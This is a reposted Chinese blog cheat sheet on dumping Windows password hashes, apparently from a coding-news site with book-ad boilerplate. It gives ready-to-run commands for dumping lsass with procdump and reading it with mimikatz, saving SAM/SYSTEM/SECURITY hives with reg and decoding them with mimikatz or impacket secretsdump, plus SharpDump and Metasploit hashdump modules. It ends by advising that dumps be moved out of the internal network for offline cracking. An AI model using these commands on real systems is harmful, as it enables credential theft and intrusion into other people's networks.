常用 Windows 抓取Hash

栏目: 数据库 · 发布时间: 5年前

内容简介：测试机器: Windows 10 1809Procdump(管理员权限下运行)

0x01 Procdump + Mimikatz

Procdump

(管理员权限下运行)

C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits

常用 Windows 抓取Hash

然后本地解出hash即可

sekurlsa::minidump C:\lsass.dmp
sekurlsa::logonpasswords full

常用 Windows 抓取Hash

0x02 Reg + impacket/Mimikatz (强推)

使用 Reg 需要NT/SYSTEM权限

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save HKLM\security security.hiv

Mimikatz 调用 lsadump

lsadump::sam /system:system.hiv /sam:sam.hiv

常用 Windows 抓取Hash

impacket/secretsdump.py

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

常用 Windows 抓取Hash

0x03 Sharpdump (强推)

Out-Minidump.ps1 的 C#版本编译结果

需要.NET 3.5版本框架

0x04 Wce、Quarks PwDump、GetPass……

没怎么用过，都是以前比较老的，Getpass是Mimikatz的编译版本，没啥意思

0x05 Msf modules

hashdump

条件:

Meterpreter Session
NT/SYSTEM

常用 Windows 抓取Hash

hashdump只能dump本地用户

smart_hashdump

条件

Meterpreter Session
NT/SYSTEM

常用 Windows 抓取Hash

可以dump本地 + 域用户hash

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

浪潮之巅

吴军 / 电子工业出版社 / 2011-8 / 55.00元

近一百多年来，总有一些公司很幸运地、有意识或无意识地站在技术革命的浪尖之上。在这十几年间，它们代表着科技的浪潮，直到下一波浪潮的来临。从一百年前算起，AT&T 公司、IBM 公司、苹果公司、英特尔公司、微软公司、思科公司、雅虎公司和Google公司都先后被幸运地推到了浪尖。虽然，它们来自不同的领域，中间有些已经衰落或正在衰落，但是它们都极度辉煌过。本书系统地介绍了这些公司成功的本质原因及科......一起来看看《浪潮之巅》这本书的介绍吧!

码农工具

常用 Windows 抓取Hash

推荐使用 Procdump，reg 和 sharpdump 导出本地，再想办法从内网中运出来本地破解

0x01 Procdump + Mimikatz

0x02 Reg + impacket/Mimikatz (强推)

Mimikatz 调用 lsadump

impacket/secretsdump.py

0x03 Sharpdump (强推)

0x04 Wce、Quarks PwDump、GetPass……

0x05 Msf modules

hashdump

smart_hashdump

浪潮之巅

Base64 编码/解码

html转js在线工具